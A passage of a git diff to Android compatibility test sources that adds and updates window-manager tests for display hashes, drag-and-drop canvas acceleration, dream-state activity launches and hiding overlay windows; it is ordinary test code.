-    private static class FontScaleSession extends SettingsSession<Float> {
+    static class FontScaleSession extends SettingsSession<Float> {
         FontScaleSession() {
             super(Settings.System.getUriFor(Settings.System.FONT_SCALE),
                     Settings.System::getFloat,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
index 4336898..e9de061 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
@@ -17,11 +17,13 @@
 package android.server.wm;
 
 import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static android.server.wm.CliIntentExtra.extraString;
 import static android.server.wm.UiDeviceUtils.dragPointer;
 import static android.server.wm.dndsourceapp.Components.DRAG_SOURCE;
 import static android.server.wm.dndtargetapp.Components.DROP_TARGET;
 import static android.server.wm.dndtargetappsdk23.Components.DROP_TARGET_SDK23;
 import static android.view.Display.DEFAULT_DISPLAY;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
@@ -37,17 +39,19 @@
 import android.server.wm.WindowManagerState.ActivityTask;
 import android.util.Log;
 import android.view.Display;
-import java.util.Map;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 
+import java.util.Map;
+
 /**
  * Build/Install/Run:
  *     atest CtsWindowManagerDeviceTestCases:CrossAppDragAndDropTests
  */
 @Presubmit
-@AppModeFull(reason = "Requires android.permission.MANAGE_ACTIVITY_STACKS")
+@AppModeFull(reason = "Requires android.permission.MANAGE_ACTIVITY_TASKS")
 public class CrossAppDragAndDropTests extends ActivityManagerTestBase {
     private static final String TAG = "CrossAppDragAndDrop";
 
@@ -136,7 +140,8 @@
      */
     private void launchFreeformActivity(ComponentName componentName, String mode,
             String logtag, Point displaySize, boolean leftSide) throws Exception {
-        launchActivity(componentName, WINDOWING_MODE_FREEFORM, "mode", mode, "logtag", logtag);
+        launchActivity(componentName, WINDOWING_MODE_FREEFORM, extraString("mode", mode),
+                extraString("logtag", logtag));
         Point topLeft = new Point(leftSide ? 0 : displaySize.x / 2, 0);
         Point bottomRight = new Point(leftSide ? displaySize.x / 2 : displaySize.x, displaySize.y);
         resizeActivityTask(componentName, topLeft.x, topLeft.y, bottomRight.x, bottomRight.y);
@@ -192,7 +197,8 @@
             launchFreeformActivity(targetComponentName, targetMode, mTargetLogTag,
                 displaySize, false /* leftSide */);
         } else {
-            launchActivitiesInSplitScreen(getLaunchActivityBuilder()
+            launchActivitiesInSplitScreen
+                    (getLaunchActivityBuilder()
                     .setTargetActivity(sourceComponentName)
                     .setIntentExtra(bundle -> {
                         bundle.putString(EXTRA_MODE, sourceMode);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
index 9dd98b2..79d9e6d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
@@ -57,7 +57,7 @@
  *
  * TODO: Consolidate this class with {@link ParentChildTestBase}.
  */
-@AppModeFull(reason = "Requires android.permission.MANAGE_ACTIVITY_STACKS")
+@AppModeFull(reason = "Requires android.permission.MANAGE_ACTIVITY_TASKS")
 @Presubmit
 public class DialogFrameTests extends ParentChildTestBase<DialogFrameTestActivity> {
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayHashManagerTest.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayHashManagerTest.java
new file mode 100644
index 0000000..ee709ca
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayHashManagerTest.java
@@ -0,0 +1,336 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.view.WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS;
+import static android.view.displayhash.DisplayHashResultCallback.DISPLAY_HASH_ERROR_INVALID_BOUNDS;
+import static android.view.displayhash.DisplayHashResultCallback.DISPLAY_HASH_ERROR_NOT_VISIBLE_ON_SCREEN;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
+import android.view.Gravity;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.displayhash.DisplayHash;
+import android.view.displayhash.DisplayHashManager;
+import android.view.displayhash.DisplayHashResultCallback;
+import android.view.displayhash.VerifiedDisplayHash;
+import android.widget.RelativeLayout;
+
+import androidx.annotation.NonNull;
+import androidx.test.core.app.ActivityScenario;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+
+@Presubmit
+public class DisplayHashManagerTest {
+    private final Point mTestViewSize = new Point(200, 300);
+
+    private Instrumentation mInstrumentation;
+    private RelativeLayout mMainView;
+    private TestActivity mActivity;
+
+    private View mTestView;
+
+    private DisplayHashManager mDisplayHashManager;
+    private String mFirstHashAlgorithm;
+
+    private Executor mExecutor;
+
+    private SyncDisplayHashResultCallback mSyncDisplayHashResultCallback;
+
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        Context context = mInstrumentation.getContext();
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setClass(context, TestActivity.class);
+        ActivityScenario<TestActivity> scenario = ActivityScenario.launch(intent);
+
+        scenario.onActivity(activity -> {
+            mActivity = activity;
+            mMainView = new RelativeLayout(activity);
+            activity.setContentView(mMainView);
+        });
+        mInstrumentation.waitForIdleSync();
+        mDisplayHashManager = context.getSystemService(DisplayHashManager.class);
+
+        Set<String> algorithms = mDisplayHashManager.getSupportedHashAlgorithms();
+        assertNotNull(algorithms);
+        assertNotEquals(0, algorithms.size());
+        mFirstHashAlgorithm = algorithms.iterator().next();
+        mExecutor = context.getMainExecutor();
+        mSyncDisplayHashResultCallback = new SyncDisplayHashResultCallback();
+    }
+
+    @Test
+    public void testGenerateAndVerifyDisplayHash() {
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        DisplayHash displayHash = generateDisplayHash(null);
+
+        VerifiedDisplayHash verifiedDisplayHash = mDisplayHashManager.verifyDisplayHash(
+                displayHash);
+        assertNotNull(verifiedDisplayHash);
+        assertEquals(mTestViewSize.x, verifiedDisplayHash.getBoundsInWindow().width());
+        assertEquals(mTestViewSize.y, verifiedDisplayHash.getBoundsInWindow().height());
+    }
+
+    @Test
+    public void testGenerateAndVerifyDisplayHash_BoundsInView() {
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        Rect bounds = new Rect(10, 20, mTestViewSize.x / 2, mTestViewSize.y / 2);
+        DisplayHash displayHash = generateDisplayHash(new Rect(bounds));
+
+        VerifiedDisplayHash verifiedDisplayHash = mDisplayHashManager.verifyDisplayHash(
+                displayHash);
+        assertNotNull(verifiedDisplayHash);
+        assertEquals(bounds.width(), verifiedDisplayHash.getBoundsInWindow().width());
+        assertEquals(bounds.height(), verifiedDisplayHash.getBoundsInWindow().height());
+    }
+
+    @Test
+    public void testGenerateAndVerifyDisplayHash_EmptyBounds() {
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+        mTestView.generateDisplayHash(mFirstHashAlgorithm, new Rect(), mExecutor,
+                mSyncDisplayHashResultCallback);
+
+        int errorCode = mSyncDisplayHashResultCallback.getError();
+        assertEquals(DISPLAY_HASH_ERROR_INVALID_BOUNDS, errorCode);
+    }
+
+    @Test
+    public void testGenerateAndVerifyDisplayHash_BoundsBiggerThanView() {
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        Rect bounds = new Rect(0, 0, mTestViewSize.x + 100, mTestViewSize.y + 100);
+
+        DisplayHash displayHash = generateDisplayHash(new Rect(bounds));
+
+        VerifiedDisplayHash verifiedDisplayHash = mDisplayHashManager.verifyDisplayHash(
+                displayHash);
+        assertNotNull(verifiedDisplayHash);
+        assertEquals(mTestViewSize.x, verifiedDisplayHash.getBoundsInWindow().width());
+        assertEquals(mTestViewSize.y, verifiedDisplayHash.getBoundsInWindow().height());
+    }
+
+    @Test
+    public void testGenerateDisplayHash_BoundsOutOfView() {
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        Rect bounds = new Rect(mTestViewSize.x + 1, mTestViewSize.y + 1, mTestViewSize.x + 100,
+                mTestViewSize.y + 100);
+
+        mTestView.generateDisplayHash(mFirstHashAlgorithm, new Rect(bounds),
+                mExecutor, mSyncDisplayHashResultCallback);
+        int errorCode = mSyncDisplayHashResultCallback.getError();
+        assertEquals(DISPLAY_HASH_ERROR_NOT_VISIBLE_ON_SCREEN, errorCode);
+    }
+
+    @Test
+    public void testGenerateDisplayHash_ViewOffscreen() {
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mTestView.setX(-mTestViewSize.x);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        mTestView.generateDisplayHash(mFirstHashAlgorithm, null, mExecutor,
+                mSyncDisplayHashResultCallback);
+
+        int errorCode = mSyncDisplayHashResultCallback.getError();
+        assertEquals(DISPLAY_HASH_ERROR_NOT_VISIBLE_ON_SCREEN, errorCode);
+    }
+
+    @Test
+    public void testGenerateDisplayHash_WindowOffscreen() {
+        final WindowManager wm = mActivity.getWindowManager();
+        final WindowManager.LayoutParams windowParams = new WindowManager.LayoutParams();
+
+        mInstrumentation.runOnMainSync(() -> {
+            mMainView = new RelativeLayout(mActivity);
+            windowParams.width = mTestViewSize.x;
+            windowParams.height = mTestViewSize.y;
+            windowParams.gravity = Gravity.LEFT | Gravity.TOP;
+            windowParams.flags = FLAG_LAYOUT_NO_LIMITS;
+            mActivity.addWindow(mMainView, windowParams);
+
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mMainView.addView(mTestView, p);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        generateDisplayHash(null);
+
+        mInstrumentation.runOnMainSync(() -> {
+            windowParams.x = -mTestViewSize.x;
+            wm.updateViewLayout(mMainView, windowParams);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        mSyncDisplayHashResultCallback.reset();
+        mTestView.generateDisplayHash(mFirstHashAlgorithm, null, mExecutor,
+                mSyncDisplayHashResultCallback);
+
+        int errorCode = mSyncDisplayHashResultCallback.getError();
+        assertEquals(DISPLAY_HASH_ERROR_NOT_VISIBLE_ON_SCREEN, errorCode);
+    }
+
+    private DisplayHash generateDisplayHash(Rect bounds) {
+        mTestView.generateDisplayHash(mFirstHashAlgorithm, bounds, mExecutor,
+                mSyncDisplayHashResultCallback);
+
+        DisplayHash displayHash = mSyncDisplayHashResultCallback.getDisplayHash();
+        assertNotNull(displayHash);
+
+        return displayHash;
+    }
+
+    public static class TestActivity extends Activity {
+        private final ArrayList<View> mViews = new ArrayList<>();
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+        }
+
+        void addWindow(View view, WindowManager.LayoutParams attrs) {
+            getWindowManager().addView(view, attrs);
+            mViews.add(view);
+        }
+
+        void removeAllWindows() {
+            for (View view : mViews) {
+                getWindowManager().removeViewImmediate(view);
+            }
+            mViews.clear();
+        }
+
+        @Override
+        protected void onPause() {
+            super.onPause();
+            removeAllWindows();
+        }
+    }
+
+    private static class SyncDisplayHashResultCallback implements DisplayHashResultCallback {
+        private static final int SCREENSHOT_WAIT_TIME_S = 1;
+        private DisplayHash mDisplayHash;
+        private int mError;
+        private CountDownLatch mCountDownLatch = new CountDownLatch(1);
+
+        public void reset() {
+            mCountDownLatch = new CountDownLatch(1);
+        }
+
+        public DisplayHash getDisplayHash() {
+            try {
+                mCountDownLatch.await(SCREENSHOT_WAIT_TIME_S, TimeUnit.SECONDS);
+            } catch (Exception e) {
+            }
+            return mDisplayHash;
+        }
+
+        public int getError() {
+            try {
+                mCountDownLatch.await(SCREENSHOT_WAIT_TIME_S, TimeUnit.SECONDS);
+            } catch (Exception e) {
+            }
+            return mError;
+        }
+
+        @Override
+        public void onDisplayHashResult(@NonNull DisplayHash displayHash) {
+            mDisplayHash = displayHash;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onDisplayHashError(int errorCode) {
+            mError = errorCode;
+            mCountDownLatch.countDown();
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DragDropTest.java b/tests/framework/base/windowmanager/src/android/server/wm/DragDropTest.java
index 4f6f726..4b62e95 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DragDropTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DragDropTest.java
@@ -28,12 +28,14 @@
 import android.content.ClipData;
 import android.content.ClipDescription;
 import android.content.pm.PackageManager;
+import android.graphics.Canvas;
 import android.os.Bundle;
 import android.os.Parcel;
 import android.os.Parcelable;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.cts.R;
+import android.util.MutableBoolean;
 import android.view.DragEvent;
 import android.view.InputDevice;
 import android.view.MotionEvent;
@@ -52,6 +54,7 @@
 import java.util.Arrays;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.stream.IntStream;
 
 @Presubmit
@@ -695,6 +698,49 @@
         });
     }
 
+    /**
+     * Tests that the canvas is hardware accelerated when the activity is hardware accelerated.
+     */
+    @Test
+    public void testHardwareAcceleratedCanvas() throws InterruptedException {
+        assertDragCanvasHwAcceleratedState(mActivity, true);
+    }
+
+    /**
+     * Tests that the canvas is not hardware accelerated when the activity is not hardware
+     * accelerated.
+     */
+    @Test
+    public void testSoftwareCanvas() throws InterruptedException {
+        SoftwareCanvasDragDropActivity activity =
+                startActivity(SoftwareCanvasDragDropActivity.class);
+        assertDragCanvasHwAcceleratedState(activity, false);
+    }
+
+    private void assertDragCanvasHwAcceleratedState(DragDropActivity activity,
+            boolean expectedHwAccelerated) {
+        CountDownLatch latch = new CountDownLatch(1);
+        AtomicBoolean isCanvasHwAccelerated = new AtomicBoolean();
+        runOnMain(() -> {
+            View v = activity.findViewById(R.id.draggable);
+            v.startDragAndDrop(sClipData, new View.DragShadowBuilder(v) {
+                @Override
+                public void onDrawShadow(Canvas canvas) {
+                    isCanvasHwAccelerated.set(canvas.isHardwareAccelerated());
+                    latch.countDown();
+                }
+            }, null, 0);
+        });
+
+        try {
+            assertTrue("Timeout while waiting for canvas", latch.await(5, TimeUnit.SECONDS));
+            assertTrue("Expected canvas hardware acceleration to be: " + expectedHwAccelerated,
+                    expectedHwAccelerated == isCanvasHwAccelerated.get());
+        } catch (InterruptedException e) {
+            fail("Got InterruptedException while waiting for canvas");
+        }
+    }
+
     public static class DragDropActivity extends FocusableActivity {
         @Override
         protected void onCreate(Bundle savedInstanceState) {
@@ -702,4 +748,12 @@
             setContentView(R.layout.drag_drop_layout);
         }
     }
+
+    public static class SoftwareCanvasDragDropActivity extends DragDropActivity {
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            setContentView(R.layout.drag_drop_layout);
+        }
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java
index ddc8163..2b962fd 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java
@@ -17,6 +17,7 @@
 package android.server.wm;
 
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.server.wm.WindowManagerState.STATE_STOPPED;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.server.wm.app.Components.TEST_DREAM_SERVICE;
 import static android.server.wm.app.Components.TEST_STUBBORN_DREAM_SERVICE;
@@ -32,6 +33,7 @@
 import android.content.ComponentName;
 import android.platform.test.annotations.Presubmit;
 import android.provider.Settings;
+import android.server.wm.app.Components;
 import android.view.Surface;
 
 import androidx.test.filters.FlakyTest;
@@ -201,4 +203,81 @@
         waitAndAssertTopResumedActivity(mDreamActivityName, DEFAULT_DISPLAY,
                 "Dream activity should be the top resumed activity");
     }
+
+    @Test
+    public void testStartActivityDoesNotWakeAndIsNotResumed() {
+        try (DreamingState state = new DreamingState(TEST_DREAM_SERVICE)) {
+            launchActivity(Components.TEST_ACTIVITY);
+            mWmState.waitForActivityState(Components.TEST_ACTIVITY, STATE_STOPPED);
+            assertTrue(getIsDreaming());
+        }
+    }
+
+    @Test
+    public void testStartTurnScreenOnActivityDoesWake() {
+        try (DreamingState state = new DreamingState(TEST_DREAM_SERVICE)) {
+            launchActivity(Components.TURN_SCREEN_ON_ACTIVITY);
+
+            state.waitForDreamGone();
+            waitAndAssertTopResumedActivity(Components.TURN_SCREEN_ON_ACTIVITY,
+                    DEFAULT_DISPLAY, "TurnScreenOnActivity should resume through dream");
+        }
+    }
+
+    @Test
+    public void testStartTurnScreenOnAttrActivityDoesWake() {
+        try (DreamingState state = new DreamingState(TEST_DREAM_SERVICE)) {
+            launchActivity(Components.TURN_SCREEN_ON_ATTR_ACTIVITY);
+
+            state.waitForDreamGone();
+            waitAndAssertTopResumedActivity(Components.TURN_SCREEN_ON_ATTR_ACTIVITY,
+                    DEFAULT_DISPLAY, "TurnScreenOnAttrActivity should resume through dream");
+        }
+    }
+
+    @Test
+    public void testStartActivityOnKeyguardLocked() {
+        assumeTrue(supportsLockScreen());
+
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.setLockCredential();
+        try (DreamingState state = new DreamingState(TEST_DREAM_SERVICE)) {
+            launchActivityNoWait(Components.TEST_ACTIVITY);
+            waitAndAssertActivityState(Components.TEST_ACTIVITY, STATE_STOPPED,
+                "Activity must be started and stopped");
+            assertTrue(getIsDreaming());
+
+            launchActivity(Components.TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY);
+            state.waitForDreamGone();
+            waitAndAssertTopResumedActivity(Components.TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY,
+                    DEFAULT_DISPLAY, "TurnScreenOnShowOnLockActivity should resume through dream");
+            assertFalse(getIsDreaming());
+        }
+    }
+
+    private class DreamingState implements AutoCloseable {
+        public DreamingState(ComponentName dream) {
+            setActiveDream(dream);
+            startDream(dream);
+            waitAndAssertDreaming();
+        }
+
+        @Override
+        public void close() {
+            stopDream();
+        }
+
+        public void waitAndAssertDreaming() {
+            waitAndAssertTopResumedActivity(mDreamActivityName, DEFAULT_DISPLAY,
+                    "Dream activity should be the top resumed activity");
+            mWmState.waitForValidState(mWmState.getHomeActivityName());
+            mWmState.assertVisibility(mWmState.getHomeActivityName(), false);
+            assertTrue(getIsDreaming());
+        }
+
+        public void waitForDreamGone() {
+            mWmState.waitForDreamGone();
+            assertFalse(getIsDreaming());
+        }
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java
index 1567288..1456486 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java
@@ -83,6 +83,7 @@
 
     @Test
     public void testNonResizeableActivityHasFullDisplayBounds() throws Exception {
+        createManagedSupportsNonResizableMultiWindowSession().set(0);
         launchActivity(TEST_ACTIVITY);
 
         mWmState.computeState(TEST_ACTIVITY);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java b/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java
new file mode 100644
index 0000000..4a49d9a
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java
@@ -0,0 +1,236 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm;
+
+import static android.server.wm.app.Components.HIDE_OVERLAY_WINDOWS_ACTIVITY;
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.ACTION;
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.PONG;
+import static android.view.Gravity.LEFT;
+import static android.view.Gravity.TOP;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.Manifest;
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.app.Components;
+import android.view.WindowManager;
+import android.widget.TextView;
+
+import androidx.annotation.Nullable;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Build/Install/Run:
+ * atest CtsWindowManagerDeviceTestCases:HideOverlayWindowsTest
+ */
+@Presubmit
+public class HideOverlayWindowsTest extends ActivityManagerTestBase {
+
+    private final static String WINDOW_NAME_EXTRA = "window_name";
+    private final static String SYSTEM_APPLICATION_OVERLAY_EXTRA = "system_application_overlay";
+    private PongReceiver mPongReceiver;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mPongReceiver = new PongReceiver();
+        mContext.registerReceiver(mPongReceiver, new IntentFilter(PONG));
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mContext.unregisterReceiver(mPongReceiver);
+    }
+
+    @Test
+    public void testApplicationOverlayHiddenWhenRequested() {
+        String windowName = "SYSTEM_ALERT_WINDOW";
+        ComponentName componentName = new ComponentName(
+                mContext, SystemWindowActivity.class);
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            launchActivity(componentName,
+                    CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName));
+            mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+        }, Manifest.permission.SYSTEM_ALERT_WINDOW);
+
+        launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+
+        setHideOverlayWindowsAndWaitForPong(true);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, false);
+
+        setHideOverlayWindowsAndWaitForPong(false);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+    }
+
+    @Test
+    public void testSystemApplicationOverlayFlagNoEffectWithoutPermission() {
+        String windowName = "SYSTEM_ALERT_WINDOW";
+        ComponentName componentName = new ComponentName(
+                mContext, SystemWindowActivity.class);
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            launchActivity(componentName,
+                    CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName),
+                    CliIntentExtra.extraBool(SYSTEM_APPLICATION_OVERLAY_EXTRA, true));
+            mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+        }, Manifest.permission.SYSTEM_ALERT_WINDOW);
+
+        launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+
+        setHideOverlayWindowsAndWaitForPong(true);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, false);
+
+        setHideOverlayWindowsAndWaitForPong(false);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+    }
+
+    @Test
+    public void testInternalSystemApplicationOverlaysNotHidden() {
+        String windowName = "INTERNAL_SYSTEM_WINDOW";
+        ComponentName componentName = new ComponentName(
+                mContext, InternalSystemWindowActivity.class);
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            launchActivity(componentName,
+                    CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName));
+            mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+        }, Manifest.permission.INTERNAL_SYSTEM_WINDOW);
+
+        launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+        setHideOverlayWindowsAndWaitForPong(true);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+    }
+
+    @Test
+    public void testSystemApplicationOverlaysNotHidden() {
+        String windowName = "SYSTEM_APPLICATION_OVERLAY";
+        ComponentName componentName = new ComponentName(
+                mContext, SystemApplicationOverlayActivity.class);
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            launchActivity(componentName,
+                    CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName),
+                    CliIntentExtra.extraBool(SYSTEM_APPLICATION_OVERLAY_EXTRA, true));
+            mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+        }, Manifest.permission.SYSTEM_APPLICATION_OVERLAY);
+
+        launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+        setHideOverlayWindowsAndWaitForPong(true);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+    }
+
+    @Test
+    public void testSystemApplicationOverlayHiddenWithoutFlag() {
+        String windowName = "SYSTEM_APPLICATION_OVERLAY";
+        ComponentName componentName = new ComponentName(
+                mContext, SystemApplicationOverlayActivity.class);
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            launchActivity(componentName,
+                    CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName));
+            mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+        }, Manifest.permission.SYSTEM_APPLICATION_OVERLAY);
+
+        launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+        setHideOverlayWindowsAndWaitForPong(true);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, false);
+    }
+
+    void setHideOverlayWindowsAndWaitForPong(boolean hide) {
+        Intent intent = new Intent(ACTION);
+        intent.putExtra(Components.HideOverlayWindowsActivity.SHOULD_HIDE, hide);
+        mContext.sendBroadcast(intent);
+        mPongReceiver.waitForPong();
+    }
+
+    public static class BaseSystemWindowActivity extends Activity {
+
+        TextView mTextView;
+
+        @Override
+        protected void onCreate(@Nullable Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            String windowName = getIntent().getStringExtra(WINDOW_NAME_EXTRA);
+
+            final Point size = new Point();
+            getDisplay().getRealSize(size);
+
+            WindowManager.LayoutParams params =
+                    new WindowManager.LayoutParams(TYPE_APPLICATION_OVERLAY, 0);
+            params.width = size.x / 3;
+            params.height = size.y / 3;
+            params.gravity = TOP | LEFT;
+            params.setTitle(windowName);
+            params.setSystemApplicationOverlay(
